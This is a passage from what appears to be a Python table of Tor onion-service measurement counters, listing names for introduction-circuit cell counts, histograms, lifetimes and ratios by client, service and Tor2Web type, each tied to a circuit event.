'IntroUSingleOnionServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUSingleOnionServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'IntroUMultiHopServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2CircuitCount' : { CIRCUIT_EVENT },
'Intro2CircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2CircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2CircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2CircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2CircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2FailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2FailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2FailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2FailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2SuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2InactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ClientInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2ServiceActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2ServiceInactiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitCellRatio' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientActiveSuccessCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitOutboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitOutboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveFailureCircuitLifeTime' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitInboundCellCount' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitInboundCellHistogram' : { CIRCUIT_EVENT },
'Intro2Tor2WebClientInactiveSuccessCircuitOutboundCellCount' : { CIRCUIT_EVENT },
